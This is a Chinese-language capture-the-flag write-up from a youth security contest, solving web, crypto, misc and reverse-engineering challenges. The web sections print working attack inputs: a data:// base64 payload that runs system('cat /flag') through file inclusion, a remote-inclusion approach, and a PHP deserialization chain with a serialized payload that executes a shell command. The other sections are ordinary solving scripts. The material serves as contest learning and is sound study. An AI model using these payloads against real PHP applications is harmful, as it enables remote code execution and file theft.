0%

第六届强网杯青少年专项赛

image-20220911211805196


前言

强网杯青少年赛,打着玩玩

web1

存在CVE-2021-41773,目录穿越读flag

image-20220911212153509

flag{3b3c1ee7-4c60-4f6d-a077-76dd153bbf0d}

web2

F12源码base64两次解密得到cream.php路径,然后得到源码

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){  // get传参file,长度需要小于13
    die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');  //传file参数给fp变量,且可读可写
if(preg_match("/php|file|http|eval|exec|system|popen|flag|\<|\>|\"|\'/i", $_GET['content'])){  //传参content,有过滤
    die("hacker");
}  
fputs($fp, $_GET['content']);  //将content传参内容写入到fp
rewind($fp);  //将fp指针的位置倒回文件的开头。
$data=stream_get_contents($fp);  //打印赋值给data变量
include($data);
?>

这道题目我研究了一下午,还是遗憾,比赛结束之前没有写出来

首先本地调试下,发现这个r+就很恶心,如果是w,这道题就简单了

r+和w其实都是可读可写,但是本质上不同,r+只能在原有的文件下写入文件,且是覆盖,而w是如果刚开始没有该文件,会先创建文件再写入

本地调试下的确是可以通过cream.php写入,会覆盖掉原来的内容

image-20220911213109642

所以尝试本地写入马,因为有过滤所以需要绕过一下,data协议传入base马

image-20220911213251964

没解析,擦,而且他这个r+写入文件一不小心会把之前文件的结构搞坏,php结构都直接成文本了

image-20220911213351047

这样传貌似就把之前的都全部覆盖掉了

image-20220911213505022

但是还是不能正常解析,当时做到这先测试一下能不能传进去了,发现远程传都传不进去,不知道又设置啥东西了,不过可以确定的是没有拦截data协议,构造$fp数据流直接cat即可,不用传马,这算是出发点就是错吗?害

?file=data://text/plain,&content=data://text/plain;base64,PD9waHAKc3lzdGVtKCdjYXQgL2ZsYWcnKTsKPz4=

image-20220911214149495
还有一种做法是远程文件包含

python3 -m http.server 5010

image-20220912110014284

image-20220912110037054

web3

www.zip泄露源码,down下来审计,发现有个demo.php

考察php反序列化构造链

<?php

class Water{
    public $waterfall;
    /*public function __construct(){
        $this->waterfall = array();
    }
    public function __get($value){
        $function = $this->waterfall;
        return $function();
    }*/
}

class Circle{
    public $daemon;
    protected $dash;

    /*public function runc($value){
        @eval($value);  // 触发eval,终点
    }*/

    public function __construct()
    {
        $this->dash = "system('cat /flag');";
    }
}

class Range{
    public $horis;
    public $link;

}

class Sliver{
    public $secret;
    public $resty;

}

/*$data = @$_GET['data'];
if(isset($data)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$q);
    foreach($q as $v)
    {
        if(preg_match("/^O/i",$v))
        {
            die('YOU ARE hacker!!!');
            exit();
        }
    }
    unserialize($data);
} */

$h = new Sliver();
$h->secret = new Range();
$h->secret->link = new Water();
$h->secret->link->waterfall = new Circle();
echo urlencode(serialize($h)); 
?>
O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D

利用三///绕过

image-20220911212104391

flag{2c2cf221-2411-4596-bc2b-85577f6233ca}

Crypto2

栅栏密码,每组32得到

FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss]

全部偏移32,溢出的循环回来

message='FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss]'
result=''
for c in message:
    num = ord(c) - 63
    if num  >= 32:
        result += chr(num)
    else:
        result +=chr(num+95)

print(result)

flag{7914d2ce-880c-40c0-8167-2f77f3101b44}

misc1

是个chuyinweilai.png,图片,但是010打开只是文本,乍一看是base64,解码得到图片格式的内容,只是顺序被改了,调换一下

import base64
data=open("chuyinweilai.png",'r')
image_data=data.read()
out1=base64.b64decode(image_data)
out2=''.join([c[1] + c[0] for c in zip(out1[::2], out1[1::2])])

data.close()
flag=open('out1.png','w')
flag.write(out2)
flag.close()

image-20220911212028073

又万能和弦是4536251,然后lsb解密得到flag

python2 lsb.py extract 1.png flag.txt 4536251

livz/cloacked-pixel: LSB steganography and detection (github.com)

flag{5cc0aa21208b517dbd0bde650247237f}

misc3

图片隐写,首先给的第一个图片010打开看到提示7his_1s_p4s5w0rd

image-20220911212015658

然后改成压缩包解压得到第二个图片,secret.png,这个说lsb,又加上第一个密码,联想到是加密形式的lsb加密,脚本跑一把梭

livz/cloacked-pixel: LSB steganography and detection (github.com)

python2 lsb.py extract secret.png out.txt 7his_1s_p4s5w0rd

image-20220911212007724

flag{2e55f884-ef01-4654-87b1-cc3111800085}

re1

代码比较论乱,细看之后找到

image-20220911211958324

加密函数,猜测v1为是输入的值

经过加密之后与v11进行比较

分析加密函数

image-20220911211952017

输入和v27异或

调试得到v27

V27=[243,79,85,235,242,11,136,210,70,121,193,114,95,140,200,114,59,213,194,165,130,41,234,220,20,176,3,159,72,73,88,84]

V11= [0x9f,0x29,0x32,0x8a,0xc3,0x70,0xbc,0xea,0x20,0x40,0xf1,0x17,0x69,0xe8,0xfd,0x40,0x3,0xe6,0xa3,0x97,0xb7,0x1e,0xd3,0xbf,0x24,0x83,0x32,0xab,0x79,0x28,0x25,0x37]

多次尝试之后发现需要两个字节一起两两交换输出flag

脚本如下:

v27=[243,79,85,235,242,11,136,210,70,121,193,114,95,140,200,114,59,213,194,165,130,41,234,220,20,176,3,159,72,73,88,84]
 v11= [0x9f,0x29,0x32,0x8a,0xc3,0x70,0xbc,0xea,0x20,0x40,0xf1,0x17,0x69,0xe8,0xfd,0x40,0x3,0xe6,0xa3,0x97,0xb7,0x1e,0xd3,0xbf,0x24,0x83,0x32,0xab,0x79,0x28,0x25,0x37]
 flag=''
 for i in range(len(v11)):
   v11[i]^=v27[i]
 for i in range(0,len(v11),2):
   t=v11[i]
   v11[i]=v11[i+1]
   v11[i+1]=t
 for i in range(len(v11)):
   flag+=chr(v11[i])
 print(flag)

\# flag{1849fe0d625382a75c93041a1c}
制作不易,如若感觉写的不错,欢迎打赏